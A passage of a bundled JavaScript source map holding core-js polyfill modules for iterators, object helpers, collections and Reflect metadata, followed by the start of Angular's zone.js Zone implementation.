Constructor(this, kind); };\n };\n var TAG = NAME + ' Iterator';\n var DEF_VALUES = DEFAULT == VALUES;\n var VALUES_BUG = false;\n var proto = Base.prototype;\n var $native = proto[ITERATOR] || proto[FF_ITERATOR] || DEFAULT && proto[DEFAULT];\n var $default = $native || getMethod(DEFAULT);\n var $entries = DEFAULT ? !DEF_VALUES ? $default : getMethod('entries') : undefined;\n var $anyNative = NAME == 'Array' ? proto.entries || $native : $native;\n var methods, key, IteratorPrototype;\n // Fix native\n if ($anyNative) {\n IteratorPrototype = getPrototypeOf($anyNative.call(new Base()));\n if (IteratorPrototype !== Object.prototype && IteratorPrototype.next) {\n // Set @@toStringTag to native iterators\n setToStringTag(IteratorPrototype, TAG, true);\n // fix for some old engines\n if (!LIBRARY && typeof IteratorPrototype[ITERATOR] != 'function') hide(IteratorPrototype, ITERATOR, returnThis);\n }\n }\n // fix Array#{values, @@iterator}.name in V8 / FF\n if (DEF_VALUES && $native && $native.name !== VALUES) {\n VALUES_BUG = true;\n $default = function values() { return $native.call(this); };\n }\n // Define iterator\n if ((!LIBRARY || FORCED) && (BUGGY || VALUES_BUG || !proto[ITERATOR])) {\n hide(proto, ITERATOR, $default);\n }\n // Plug for library\n Iterators[NAME] = $default;\n Iterators[TAG] = returnThis;\n if (DEFAULT) {\n methods = {\n values: DEF_VALUES ? $default : getMethod(VALUES),\n keys: IS_SET ? $default : getMethod(KEYS),\n entries: $entries\n };\n if (FORCED) for (key in methods) {\n if (!(key in proto)) redefine(proto, key, methods[key]);\n } else $export($export.P + $export.F * (BUGGY || VALUES_BUG), NAME, methods);\n }\n return methods;\n};\n","var ITERATOR = require('./_wks')('iterator');\nvar SAFE_CLOSING = false;\n\ntry {\n var riter = [7][ITERATOR]();\n riter['return'] = function () { SAFE_CLOSING = true; };\n // eslint-disable-next-line no-throw-literal\n Array.from(riter, function () { throw 2; });\n} catch (e) { /* empty */ }\n\nmodule.exports = function (exec, skipClosing) {\n if (!skipClosing && !SAFE_CLOSING) return false;\n var safe = false;\n try {\n var arr = [7];\n var iter = arr[ITERATOR]();\n iter.next = function () { return { done: safe = true }; };\n arr[ITERATOR] = function () { return iter; };\n exec(arr);\n } catch (e) { /* empty */ }\n return safe;\n};\n","module.exports = function (done, value) {\n return { value: value, done: !!done };\n};\n","module.exports = {};\n","module.exports = false;\n","var META = require('./_uid')('meta');\nvar isObject = require('./_is-object');\nvar has = require('./_has');\nvar setDesc = require('./_object-dp').f;\nvar id = 0;\nvar isExtensible = Object.isExtensible || function () {\n return true;\n};\nvar FREEZE = !require('./_fails')(function () {\n return isExtensible(Object.preventExtensions({}));\n});\nvar setMeta = function (it) {\n setDesc(it, META, { value: {\n i: 'O' + ++id, // object ID\n w: {} // weak collections IDs\n } });\n};\nvar fastKey = function (it, create) {\n // return primitive with prefix\n if (!isObject(it)) return typeof it == 'symbol' ? it : (typeof it == 'string' ? 'S' : 'P') + it;\n if (!has(it, META)) {\n // can't set metadata to uncaught frozen object\n if (!isExtensible(it)) return 'F';\n // not necessary to add metadata\n if (!create) return 'E';\n // add missing metadata\n setMeta(it);\n // return object ID\n } return it[META].i;\n};\nvar getWeak = function (it, create) {\n if (!has(it, META)) {\n // can't set metadata to uncaught frozen object\n if (!isExtensible(it)) return true;\n // not necessary to add metadata\n if (!create) return false;\n // add missing metadata\n setMeta(it);\n // return hash weak collections IDs\n } return it[META].w;\n};\n// add metadata on freeze-family methods calling\nvar onFreeze = function (it) {\n if (FREEZE && meta.NEED && isExtensible(it) && !has(it, META)) setMeta(it);\n return it;\n};\nvar meta = module.exports = {\n KEY: META,\n NEED: false,\n fastKey: fastKey,\n getWeak: getWeak,\n onFreeze: onFreeze\n};\n","var Map = require('./es6.map');\nvar $export = require('./_export');\nvar shared = require('./_shared')('metadata');\nvar store = shared.store || (shared.store = new (require('./es6.weak-map'))());\n\nvar getOrCreateMetadataMap = function (target, targetKey, create) {\n var targetMetadata = store.get(target);\n if (!targetMetadata) {\n if (!create) return undefined;\n store.set(target, targetMetadata = new Map());\n }\n var keyMetadata = targetMetadata.get(targetKey);\n if (!keyMetadata) {\n if (!create) return undefined;\n targetMetadata.set(targetKey, keyMetadata = new Map());\n } return keyMetadata;\n};\nvar ordinaryHasOwnMetadata = function (MetadataKey, O, P) {\n var metadataMap = getOrCreateMetadataMap(O, P, false);\n return metadataMap === undefined ? false : metadataMap.has(MetadataKey);\n};\nvar ordinaryGetOwnMetadata = function (MetadataKey, O, P) {\n var metadataMap = getOrCreateMetadataMap(O, P, false);\n return metadataMap === undefined ? undefined : metadataMap.get(MetadataKey);\n};\nvar ordinaryDefineOwnMetadata = function (MetadataKey, MetadataValue, O, P) {\n getOrCreateMetadataMap(O, P, true).set(MetadataKey, MetadataValue);\n};\nvar ordinaryOwnMetadataKeys = function (target, targetKey) {\n var metadataMap = getOrCreateMetadataMap(target, targetKey, false);\n var keys = [];\n if (metadataMap) metadataMap.forEach(function (_, key) { keys.push(key); });\n return keys;\n};\nvar toMetaKey = function (it) {\n return it === undefined || typeof it == 'symbol' ? it : String(it);\n};\nvar exp = function (O) {\n $export($export.S, 'Reflect', O);\n};\n\nmodule.exports = {\n store: store,\n map: getOrCreateMetadataMap,\n has: ordinaryHasOwnMetadata,\n get: ordinaryGetOwnMetadata,\n set: ordinaryDefineOwnMetadata,\n keys: ordinaryOwnMetadataKeys,\n key: toMetaKey,\n exp: exp\n};\n","'use strict';\n// 19.1.2.1 Object.assign(target, source, ...)\nvar getKeys = require('./_object-keys');\nvar gOPS = require('./_object-gops');\nvar pIE = require('./_object-pie');\nvar toObject = require('./_to-object');\nvar IObject = require('./_iobject');\nvar $assign = Object.assign;\n\n// should work with symbols and should have deterministic property order (V8 bug)\nmodule.exports = !$assign || require('./_fails')(function () {\n var A = {};\n var B = {};\n // eslint-disable-next-line no-undef\n var S = Symbol();\n var K = 'abcdefghijklmnopqrst';\n A[S] = 7;\n K.split('').forEach(function (k) { B[k] = k; });\n return $assign({}, A)[S] != 7 || Object.keys($assign({}, B)).join('') != K;\n}) ? function assign(target, source) { // eslint-disable-line no-unused-vars\n var T = toObject(target);\n var aLen = arguments.length;\n var index = 1;\n var getSymbols = gOPS.f;\n var isEnum = pIE.f;\n while (aLen > index) {\n var S = IObject(arguments[index++]);\n var keys = getSymbols ? getKeys(S).concat(getSymbols(S)) : getKeys(S);\n var length = keys.length;\n var j = 0;\n var key;\n while (length > j) if (isEnum.call(S, key = keys[j++])) T[key] = S[key];\n } return T;\n} : $assign;\n","// 19.1.2.2 / 15.2.3.5 Object.create(O [, Properties])\nvar anObject = require('./_an-object');\nvar dPs = require('./_object-dps');\nvar enumBugKeys = require('./_enum-bug-keys');\nvar IE_PROTO = require('./_shared-key')('IE_PROTO');\nvar Empty = function () { /* empty */ };\nvar PROTOTYPE = 'prototype';\n\n// Create object with fake `null` prototype: use iframe Object with cleared prototype\nvar createDict = function () {\n // Thrash, waste and sodomy: IE GC bug\n var iframe = require('./_dom-create')('iframe');\n var i = enumBugKeys.length;\n var lt = '<';\n var gt = '>';\n var iframeDocument;\n iframe.style.display = 'none';\n require('./_html').appendChild(iframe);\n iframe.src = 'javascript:'; // eslint-disable-line no-script-url\n // createDict = iframe.contentWindow.Object;\n // html.removeChild(iframe);\n iframeDocument = iframe.contentWindow.document;\n iframeDocument.open();\n iframeDocument.write(lt + 'script' + gt + 'document.F=Object' + lt + '/script' + gt);\n iframeDocument.close();\n createDict = iframeDocument.F;\n while (i--) delete createDict[PROTOTYPE][enumBugKeys[i]];\n return createDict();\n};\n\nmodule.exports = Object.create || function create(O, Properties) {\n var result;\n if (O !== null) {\n Empty[PROTOTYPE] = anObject(O);\n result = new Empty();\n Empty[PROTOTYPE] = null;\n // add \"__proto__\" for Object.getPrototypeOf polyfill\n result[IE_PROTO] = O;\n } else result = createDict();\n return Properties === undefined ? result : dPs(result, Properties);\n};\n","var anObject = require('./_an-object');\nvar IE8_DOM_DEFINE = require('./_ie8-dom-define');\nvar toPrimitive = require('./_to-primitive');\nvar dP = Object.defineProperty;\n\nexports.f = require('./_descriptors') ? Object.defineProperty : function defineProperty(O, P, Attributes) {\n anObject(O);\n P = toPrimitive(P, true);\n anObject(Attributes);\n if (IE8_DOM_DEFINE) try {\n return dP(O, P, Attributes);\n } catch (e) { /* empty */ }\n if ('get' in Attributes || 'set' in Attributes) throw TypeError('Accessors not supported!');\n if ('value' in Attributes) O[P] = Attributes.value;\n return O;\n};\n","var dP = require('./_object-dp');\nvar anObject = require('./_an-object');\nvar getKeys = require('./_object-keys');\n\nmodule.exports = require('./_descriptors') ? Object.defineProperties : function defineProperties(O, Properties) {\n anObject(O);\n var keys = getKeys(Properties);\n var length = keys.length;\n var i = 0;\n var P;\n while (length > i) dP.f(O, P = keys[i++], Properties[P]);\n return O;\n};\n","var pIE = require('./_object-pie');\nvar createDesc = require('./_property-desc');\nvar toIObject = require('./_to-iobject');\nvar toPrimitive = require('./_to-primitive');\nvar has = require('./_has');\nvar IE8_DOM_DEFINE = require('./_ie8-dom-define');\nvar gOPD = Object.getOwnPropertyDescriptor;\n\nexports.f = require('./_descriptors') ? gOPD : function getOwnPropertyDescriptor(O, P) {\n O = toIObject(O);\n P = toPrimitive(P, true);\n if (IE8_DOM_DEFINE) try {\n return gOPD(O, P);\n } catch (e) { /* empty */ }\n if (has(O, P)) return createDesc(!pIE.f.call(O, P), O[P]);\n};\n","exports.f = Object.getOwnPropertySymbols;\n","// 19.1.2.9 / 15.2.3.2 Object.getPrototypeOf(O)\nvar has = require('./_has');\nvar toObject = require('./_to-object');\nvar IE_PROTO = require('./_shared-key')('IE_PROTO');\nvar ObjectProto = Object.prototype;\n\nmodule.exports = Object.getPrototypeOf || function (O) {\n O = toObject(O);\n if (has(O, IE_PROTO)) return O[IE_PROTO];\n if (typeof O.constructor == 'function' && O instanceof O.constructor) {\n return O.constructor.prototype;\n } return O instanceof Object ? ObjectProto : null;\n};\n","var has = require('./_has');\nvar toIObject = require('./_to-iobject');\nvar arrayIndexOf = require('./_array-includes')(false);\nvar IE_PROTO = require('./_shared-key')('IE_PROTO');\n\nmodule.exports = function (object, names) {\n var O = toIObject(object);\n var i = 0;\n var result = [];\n var key;\n for (key in O) if (key != IE_PROTO) has(O, key) && result.push(key);\n // Don't enum bug & hidden keys\n while (names.length > i) if (has(O, key = names[i++])) {\n ~arrayIndexOf(result, key) || result.push(key);\n }\n return result;\n};\n","// 19.1.2.14 / 15.2.3.14 Object.keys(O)\nvar $keys = require('./_object-keys-internal');\nvar enumBugKeys = require('./_enum-bug-keys');\n\nmodule.exports = Object.keys || function keys(O) {\n return $keys(O, enumBugKeys);\n};\n","exports.f = {}.propertyIsEnumerable;\n","module.exports = function (bitmap, value) {\n return {\n enumerable: !(bitmap & 1),\n configurable: !(bitmap & 2),\n writable: !(bitmap & 4),\n value: value\n };\n};\n","var redefine = require('./_redefine');\nmodule.exports = function (target, src, safe) {\n for (var key in src) redefine(target, key, src[key], safe);\n return target;\n};\n","var global = require('./_global');\nvar hide = require('./_hide');\nvar has = require('./_has');\nvar SRC = require('./_uid')('src');\nvar TO_STRING = 'toString';\nvar $toString = Function[TO_STRING];\nvar TPL = ('' + $toString).split(TO_STRING);\n\nrequire('./_core').inspectSource = function (it) {\n return $toString.call(it);\n};\n\n(module.exports = function (O, key, val, safe) {\n var isFunction = typeof val == 'function';\n if (isFunction) has(val, 'name') || hide(val, 'name', key);\n if (O[key] === val) return;\n if (isFunction) has(val, SRC) || hide(val, SRC, O[key] ? '' + O[key] : TPL.join(String(key)));\n if (O === global) {\n O[key] = val;\n } else if (!safe) {\n delete O[key];\n hide(O, key, val);\n } else if (O[key]) {\n O[key] = val;\n } else {\n hide(O, key, val);\n }\n// add fake Function#toString for correct work wrapped methods / constructors with methods like LoDash isNative\n})(Function.prototype, TO_STRING, function toString() {\n return typeof this == 'function' && this[SRC] || $toString.call(this);\n});\n","// Works with __proto__ only. Old v8 can't work with null proto objects.\n/* eslint-disable no-proto */\nvar isObject = require('./_is-object');\nvar anObject = require('./_an-object');\nvar check = function (O, proto) {\n anObject(O);\n if (!isObject(proto) && proto !== null) throw TypeError(proto + \": can't set as prototype!\");\n};\nmodule.exports = {\n set: Object.setPrototypeOf || ('__proto__' in {} ? // eslint-disable-line\n function (test, buggy, set) {\n try {\n set = require('./_ctx')(Function.call, require('./_object-gopd').f(Object.prototype, '__proto__').set, 2);\n set(test, []);\n buggy = !(test instanceof Array);\n } catch (e) { buggy = true; }\n return function setPrototypeOf(O, proto) {\n check(O, proto);\n if (buggy) O.__proto__ = proto;\n else set(O, proto);\n return O;\n };\n }({}, false) : undefined),\n check: check\n};\n","'use strict';\nvar global = require('./_global');\nvar dP = require('./_object-dp');\nvar DESCRIPTORS = require('./_descriptors');\nvar SPECIES = require('./_wks')('species');\n\nmodule.exports = function (KEY) {\n var C = global[KEY];\n if (DESCRIPTORS && C && !C[SPECIES]) dP.f(C, SPECIES, {\n configurable: true,\n get: function () { return this; }\n });\n};\n","var def = require('./_object-dp').f;\nvar has = require('./_has');\nvar TAG = require('./_wks')('toStringTag');\n\nmodule.exports = function (it, tag, stat) {\n if (it && !has(it = stat ? it : it.prototype, TAG)) def(it, TAG, { configurable: true, value: tag });\n};\n","var shared = require('./_shared')('keys');\nvar uid = require('./_uid');\nmodule.exports = function (key) {\n return shared[key] || (shared[key] = uid(key));\n};\n","var core = require('./_core');\nvar global = require('./_global');\nvar SHARED = '__core-js_shared__';\nvar store = global[SHARED] || (global[SHARED] = {});\n\n(module.exports = function (key, value) {\n return store[key] || (store[key] = value !== undefined ? value : {});\n})('versions', []).push({\n version: core.version,\n mode: require('./_library') ? 'pure' : 'global',\n copyright: '© 2019 Denis Pushkarev (zloirock.ru)'\n});\n","var toInteger = require('./_to-integer');\nvar max = Math.max;\nvar min = Math.min;\nmodule.exports = function (index, length) {\n index = toInteger(index);\n return index < 0 ? max(index + length, 0) : min(index, length);\n};\n","// 7.1.4 ToInteger\nvar ceil = Math.ceil;\nvar floor = Math.floor;\nmodule.exports = function (it) {\n return isNaN(it = +it) ? 0 : (it > 0 ? floor : ceil)(it);\n};\n","// to indexed object, toObject with fallback for non-array-like ES3 strings\nvar IObject = require('./_iobject');\nvar defined = require('./_defined');\nmodule.exports = function (it) {\n return IObject(defined(it));\n};\n","// 7.1.15 ToLength\nvar toInteger = require('./_to-integer');\nvar min = Math.min;\nmodule.exports = function (it) {\n return it > 0 ? min(toInteger(it), 0x1fffffffffffff) : 0; // pow(2, 53) - 1 == 9007199254740991\n};\n","// 7.1.13 ToObject(argument)\nvar defined = require('./_defined');\nmodule.exports = function (it) {\n return Object(defined(it));\n};\n","// 7.1.1 ToPrimitive(input [, PreferredType])\nvar isObject = require('./_is-object');\n// instead of the ES6 spec version, we didn't implement @@toPrimitive case\n// and the second argument - flag - preferred type is a string\nmodule.exports = function (it, S) {\n if (!isObject(it)) return it;\n var fn, val;\n if (S && typeof (fn = it.toString) == 'function' && !isObject(val = fn.call(it))) return val;\n if (typeof (fn = it.valueOf) == 'function' && !isObject(val = fn.call(it))) return val;\n if (!S && typeof (fn = it.toString) == 'function' && !isObject(val = fn.call(it))) return val;\n throw TypeError(\"Can't convert object to primitive value\");\n};\n","var id = 0;\nvar px = Math.random();\nmodule.exports = function (key) {\n return 'Symbol('.concat(key === undefined ? '' : key, ')_', (++id + px).toString(36));\n};\n","var isObject = require('./_is-object');\nmodule.exports = function (it, TYPE) {\n if (!isObject(it) || it._t !== TYPE) throw TypeError('Incompatible receiver, ' + TYPE + ' required!');\n return it;\n};\n","var store = require('./_shared')('wks');\nvar uid = require('./_uid');\nvar Symbol = require('./_global').Symbol;\nvar USE_SYMBOL = typeof Symbol == 'function';\n\nvar $exports = module.exports = function (name) {\n return store[name] || (store[name] =\n USE_SYMBOL && Symbol[name] || (USE_SYMBOL ? Symbol : uid)('Symbol.' + name));\n};\n\n$exports.store = store;\n","var classof = require('./_classof');\nvar ITERATOR = require('./_wks')('iterator');\nvar Iterators = require('./_iterators');\nmodule.exports = require('./_core').getIteratorMethod = function (it) {\n if (it != undefined) return it[ITERATOR]\n || it['@@iterator']\n || Iterators[classof(it)];\n};\n","'use strict';\nvar strong = require('./_collection-strong');\nvar validate = require('./_validate-collection');\nvar MAP = 'Map';\n\n// 23.1 Map Objects\nmodule.exports = require('./_collection')(MAP, function (get) {\n return function Map() { return get(this, arguments.length > 0 ? arguments[0] : undefined); };\n}, {\n // 23.1.3.6 Map.prototype.get(key)\n get: function get(key) {\n var entry = strong.getEntry(validate(this, MAP), key);\n return entry && entry.v;\n },\n // 23.1.3.9 Map.prototype.set(key, value)\n set: function set(key, value) {\n return strong.def(validate(this, MAP), key === 0 ? 0 : key, value);\n }\n}, strong, true);\n","'use strict';\nvar strong = require('./_collection-strong');\nvar validate = require('./_validate-collection');\nvar SET = 'Set';\n\n// 23.2 Set Objects\nmodule.exports = require('./_collection')(SET, function (get) {\n return function Set() { return get(this, arguments.length > 0 ? arguments[0] : undefined); };\n}, {\n // 23.2.3.1 Set.prototype.add(value)\n add: function add(value) {\n return strong.def(validate(this, SET), value = value === 0 ? 0 : value, value);\n }\n}, strong);\n","'use strict';\nvar each = require('./_array-methods')(0);\nvar redefine = require('./_redefine');\nvar meta = require('./_meta');\nvar assign = require('./_object-assign');\nvar weak = require('./_collection-weak');\nvar isObject = require('./_is-object');\nvar fails = require('./_fails');\nvar validate = require('./_validate-collection');\nvar WEAK_MAP = 'WeakMap';\nvar getWeak = meta.getWeak;\nvar isExtensible = Object.isExtensible;\nvar uncaughtFrozenStore = weak.ufstore;\nvar tmp = {};\nvar InternalMap;\n\nvar wrapper = function (get) {\n return function WeakMap() {\n return get(this, arguments.length > 0 ? arguments[0] : undefined);\n };\n};\n\nvar methods = {\n // 23.3.3.3 WeakMap.prototype.get(key)\n get: function get(key) {\n if (isObject(key)) {\n var data = getWeak(key);\n if (data === true) return uncaughtFrozenStore(validate(this, WEAK_MAP)).get(key);\n return data ? data[this._i] : undefined;\n }\n },\n // 23.3.3.5 WeakMap.prototype.set(key, value)\n set: function set(key, value) {\n return weak.def(validate(this, WEAK_MAP), key, value);\n }\n};\n\n// 23.3 WeakMap Objects\nvar $WeakMap = module.exports = require('./_collection')(WEAK_MAP, wrapper, methods, weak, true, true);\n\n// IE11 WeakMap frozen keys fix\nif (fails(function () { return new $WeakMap().set((Object.freeze || Object)(tmp), 7).get(tmp) != 7; })) {\n InternalMap = weak.getConstructor(wrapper, WEAK_MAP);\n assign(InternalMap.prototype, methods);\n meta.NEED = true;\n each(['delete', 'has', 'get', 'set'], function (key) {\n var proto = $WeakMap.prototype;\n var method = proto[key];\n redefine(proto, key, function (a, b) {\n // store frozen objects on internal weakmap shim\n if (isObject(a) && !isExtensible(a)) {\n if (!this._f) this._f = new InternalMap();\n var result = this._f[key](a, b);\n return key == 'set' ? this : result;\n // store all the rest on native weakmap\n } return method.call(this, a, b);\n });\n });\n}\n","var metadata = require('./_metadata');\nvar anObject = require('./_an-object');\nvar toMetaKey = metadata.key;\nvar ordinaryDefineOwnMetadata = metadata.set;\n\nmetadata.exp({ defineMetadata: function defineMetadata(metadataKey, metadataValue, target, targetKey) {\n ordinaryDefineOwnMetadata(metadataKey, metadataValue, anObject(target), toMetaKey(targetKey));\n} });\n","var metadata = require('./_metadata');\nvar anObject = require('./_an-object');\nvar toMetaKey = metadata.key;\nvar getOrCreateMetadataMap = metadata.map;\nvar store = metadata.store;\n\nmetadata.exp({ deleteMetadata: function deleteMetadata(metadataKey, target /* , targetKey */) {\n var targetKey = arguments.length < 3 ? undefined : toMetaKey(arguments[2]);\n var metadataMap = getOrCreateMetadataMap(anObject(target), targetKey, false);\n if (metadataMap === undefined || !metadataMap['delete'](metadataKey)) return false;\n if (metadataMap.size) return true;\n var targetMetadata = store.get(target);\n targetMetadata['delete'](targetKey);\n return !!targetMetadata.size || store['delete'](target);\n} });\n","var Set = require('./es6.set');\nvar from = require('./_array-from-iterable');\nvar metadata = require('./_metadata');\nvar anObject = require('./_an-object');\nvar getPrototypeOf = require('./_object-gpo');\nvar ordinaryOwnMetadataKeys = metadata.keys;\nvar toMetaKey = metadata.key;\n\nvar ordinaryMetadataKeys = function (O, P) {\n var oKeys = ordinaryOwnMetadataKeys(O, P);\n var parent = getPrototypeOf(O);\n if (parent === null) return oKeys;\n var pKeys = ordinaryMetadataKeys(parent, P);\n return pKeys.length ? oKeys.length ? from(new Set(oKeys.concat(pKeys))) : pKeys : oKeys;\n};\n\nmetadata.exp({ getMetadataKeys: function getMetadataKeys(target /* , targetKey */) {\n return ordinaryMetadataKeys(anObject(target), arguments.length < 2 ? undefined : toMetaKey(arguments[1]));\n} });\n","var metadata = require('./_metadata');\nvar anObject = require('./_an-object');\nvar getPrototypeOf = require('./_object-gpo');\nvar ordinaryHasOwnMetadata = metadata.has;\nvar ordinaryGetOwnMetadata = metadata.get;\nvar toMetaKey = metadata.key;\n\nvar ordinaryGetMetadata = function (MetadataKey, O, P) {\n var hasOwn = ordinaryHasOwnMetadata(MetadataKey, O, P);\n if (hasOwn) return ordinaryGetOwnMetadata(MetadataKey, O, P);\n var parent = getPrototypeOf(O);\n return parent !== null ? ordinaryGetMetadata(MetadataKey, parent, P) : undefined;\n};\n\nmetadata.exp({ getMetadata: function getMetadata(metadataKey, target /* , targetKey */) {\n return ordinaryGetMetadata(metadataKey, anObject(target), arguments.length < 3 ? undefined : toMetaKey(arguments[2]));\n} });\n","var metadata = require('./_metadata');\nvar anObject = require('./_an-object');\nvar ordinaryOwnMetadataKeys = metadata.keys;\nvar toMetaKey = metadata.key;\n\nmetadata.exp({ getOwnMetadataKeys: function getOwnMetadataKeys(target /* , targetKey */) {\n return ordinaryOwnMetadataKeys(anObject(target), arguments.length < 2 ? undefined : toMetaKey(arguments[1]));\n} });\n","var metadata = require('./_metadata');\nvar anObject = require('./_an-object');\nvar ordinaryGetOwnMetadata = metadata.get;\nvar toMetaKey = metadata.key;\n\nmetadata.exp({ getOwnMetadata: function getOwnMetadata(metadataKey, target /* , targetKey */) {\n return ordinaryGetOwnMetadata(metadataKey, anObject(target)\n , arguments.length < 3 ? undefined : toMetaKey(arguments[2]));\n} });\n","var metadata = require('./_metadata');\nvar anObject = require('./_an-object');\nvar getPrototypeOf = require('./_object-gpo');\nvar ordinaryHasOwnMetadata = metadata.has;\nvar toMetaKey = metadata.key;\n\nvar ordinaryHasMetadata = function (MetadataKey, O, P) {\n var hasOwn = ordinaryHasOwnMetadata(MetadataKey, O, P);\n if (hasOwn) return true;\n var parent = getPrototypeOf(O);\n return parent !== null ? ordinaryHasMetadata(MetadataKey, parent, P) : false;\n};\n\nmetadata.exp({ hasMetadata: function hasMetadata(metadataKey, target /* , targetKey */) {\n return ordinaryHasMetadata(metadataKey, anObject(target), arguments.length < 3 ? undefined : toMetaKey(arguments[2]));\n} });\n","var metadata = require('./_metadata');\nvar anObject = require('./_an-object');\nvar ordinaryHasOwnMetadata = metadata.has;\nvar toMetaKey = metadata.key;\n\nmetadata.exp({ hasOwnMetadata: function hasOwnMetadata(metadataKey, target /* , targetKey */) {\n return ordinaryHasOwnMetadata(metadataKey, anObject(target)\n , arguments.length < 3 ? undefined : toMetaKey(arguments[2]));\n} });\n","var $metadata = require('./_metadata');\nvar anObject = require('./_an-object');\nvar aFunction = require('./_a-function');\nvar toMetaKey = $metadata.key;\nvar ordinaryDefineOwnMetadata = $metadata.set;\n\n$metadata.exp({ metadata: function metadata(metadataKey, metadataValue) {\n return function decorator(target, targetKey) {\n ordinaryDefineOwnMetadata(\n metadataKey, metadataValue,\n (targetKey !== undefined ? anObject : aFunction)(target),\n toMetaKey(targetKey)\n );\n };\n} });\n","/**\n* @license\n* Copyright Google Inc. All Rights Reserved.\n*\n* Use of this source code is governed by an MIT-style license that can be\n* found in the LICENSE file at https://angular.io/license\n*/\n(function (global, factory) {\n\ttypeof exports === 'object' && typeof module !== 'undefined' ? factory() :\n\ttypeof define === 'function' && define.amd ? define(factory) :\n\t(factory());\n}(this, (function () { 'use strict';\n\n/**\n * @license\n * Copyright Google Inc. All Rights Reserved.\n *\n * Use of this source code is governed by an MIT-style license that can be\n * found in the LICENSE file at https://angular.io/license\n */\nvar Zone$1 = (function (global) {\n var performance = global['performance'];\n function mark(name) {\n performance && performance['mark'] && performance['mark'](name);\n }\n function performanceMeasure(name, label) {\n performance && performance['measure'] && performance['measure'](name, label);\n }\n mark('Zone');\n var checkDuplicate = global[('__zone_symbol__forceDuplicateZoneCheck')] === true;\n if (global['Zone']) {\n // if global['Zone'] already exists (maybe zone.js was already loaded or\n // some other lib also registered a global object named Zone), we may need\n // to throw an error, but sometimes user may not want this error.\n // For example,\n // we have two web pages, page1 includes zone.js, page2 doesn't.\n // and the 1st time user load page1 and page2, everything work fine,\n // but when user load page2 again, error occurs because global['Zone'] already exists.\n // so we add a flag to let user choose whether to throw this error or not.\n // By default, if existing Zone is from zone.js, we will not throw the error.\n if (checkDuplicate || typeof global['Zone'].__symbol__ !== 'function') {\n throw new Error('Zone already loaded.');\n }\n else {\n return global['Zone'];\n }\n }\n var Zone = /** @class */ (function () {\n function Zone(parent, zoneSpec) {\n this._parent = parent;\n this._name = zoneSpec ? zoneSpec.name || 'unnamed' : '';\n this._properties = zoneSpec && zoneSpec.properties || {};\n this._zoneDelegate =\n new ZoneDelegate(this, this._parent && this._parent._zoneDelegate, zoneSpec);\n }\n Zone.assertZonePatched = function () {\n if (global['Promise'] !== patches['ZoneAwarePromise']) {\n throw new Error('Zone.js has detected that ZoneAwarePromise `(window|global).Promise` ' +\n 'has been overwritten.\\n' +\n 'Most likely cause is that a Promise polyfill has been loaded ' +\n 'after Zone.js (Polyfilling Promise api is not necessary when zone.js is loaded. ' +\n 'If you must load one, do so before loading zone.js.)');\n }\n };\n Object.defineProperty(Zone, \"root\", {\n get: function () {\n var zone = Zone.current;\n while (zone.parent) {\n zone = zone.parent;\n }\n return zone;\n },\n enumerable: true,\n configurable: true\n });\n Object.defineProperty(Zone, \"current\", {\n get: function () {\n return _currentZoneFrame.zone;\n },\n enumerable: true,\n configurable: true\n });\n Object.defineProperty(Zone, \"currentTask\", {\n get: function () {\n return _currentTask;\n },\n enumerable: true,\n configurable: true\n });\n Zone.__load_patch = function (name, fn) {\n if (patches.hasOwnProperty(name)) {\n if (checkDuplicate) {\n throw Error('Already loaded patch: ' + name);\n }\n }\n else if (!global['__Zone_disable_' + name]) {\n var perfName = 'Zone:' + name;\n mark(perfName);\n patches[name] = fn(global, Zone, _api);\n performanceMeasure(perfName, perfName);\n }\n };\n Object.defineProperty(Zone.prototype, \"parent\", {\n get: function () {\n return this._parent;\n },\n enumerable: true,\n configurable: true\n });\n Object.defineProperty(Zone.prototype, \"name\", {\n get: function () {\n return this._name;\n },\n enumerable: true,\n configurable: true\n });\n Zone.prototype.get = function (key) {\n var zone = this.getZoneWith(key);\n if (zone)\n return zone._properties[key];\n };\n Zone.prototype.getZoneWith = function (key) {\n var current = this;\n while (current) {\n if (current._properties.hasOwnProperty(key)) {\n return current;\n }\n current = current._parent;\n }\n return null;\n };\n Zone.prototype.fork = function (zoneSpec) {\n if (!zoneSpec)\n throw new Error('ZoneSpec required!');\n return this._zoneDelegate.fork(this, zoneSpec);\n };\n Zone.prototype.wrap = function (callback, source) {\n if (typeof callback !== 'function') {\n throw new Error('Expecting function got: ' + callback);\n }\n var _callback = this._zoneDelegate.intercept(this, callback, source);\n var zone = this;\n return function () {\n return zone.runGuarded(_callback, this, arguments, source);\n };\n };\n Zone.prototype.run = function (callback, applyThis, applyArgs, source) {\n _currentZoneFrame = { parent: _currentZoneFrame, zone: this };\n try {\n return this._zoneDelegate.invoke(this, callback, applyThis, applyArgs, source);\n }\n finally {\n _currentZoneFrame = _currentZoneFrame.parent;\n }\n };\n Zone.prototype.runGuarded = function (callback, applyThis, applyArgs, source) {\n if (applyThis === void 0) { applyThis = null; }\n _currentZoneFrame = { parent: _currentZoneFrame, zone: this };\n try {\n try {\n return this._zoneDelegate.invoke(this, callback, applyThis, applyArgs, source);\n }\n catch (error) {\n if (this._zoneDelegate.handleError(this, error)) {\n throw error;\n }\n }\n }\n finally {\n _currentZoneFrame = _currentZoneFrame.parent;\n }\n };\n Zone.prototype.runTask = function (task, applyThis, applyArgs) {\n if (task.zone != this) {\n throw new Error('A task can only be run in the zone of creation! (Creation: ' +\n (task.zone || NO_ZONE).name + '; Execution: ' + this.name + ')');\n }\n // https://github.com/angular/zone.js/issues/778, sometimes eventTask\n // will run in notScheduled(canceled) state, we should not try to\n // run such kind of task but just return\n if (task.state === notScheduled && (task.type === eventTask || task.type === macroTask)) {\n return;\n }\n var reEntryGuard = task.state != running;\n reEntryGuard && task._transitionTo(running, scheduled);\n task.runCount++;\n var previousTask = _currentTask;\n _currentTask = task;\n _currentZoneFrame = { parent: _currentZoneFrame, zone: this };\n try {\n if (task.type == macroTask && task.data && !task.data.isPeriodic) {\n task.cancelFn = undefined;\n }\n try {\n return this._zoneDelegate.invokeTask(this, task, applyThis, applyArgs);\n }\n catch (error) {\n if (this._zoneDelegate.handleError(this, error)) {\n throw error;\n }\n }\n }\n finally {\n // if the task's state is notScheduled or unknown, then it has already been cancelled\n // we should not reset the state to scheduled\n if (task.state !== notScheduled && task.state !== unknown) {\n if (task.type == eventTask || (task.data && task.data.isPeriodic)) {\n reEntryGuard && task._transitionTo(scheduled, running);\n }\n else {\n task.runCount = 0;\n this._updateTaskCount(task, -1);\n reEntryGuard &&\n task._transitionTo(notScheduled, running, notScheduled);\n }\n }\n _currentZoneFrame = _currentZoneFrame.parent;\n _currentTask = previousTask;\n }\n };\n 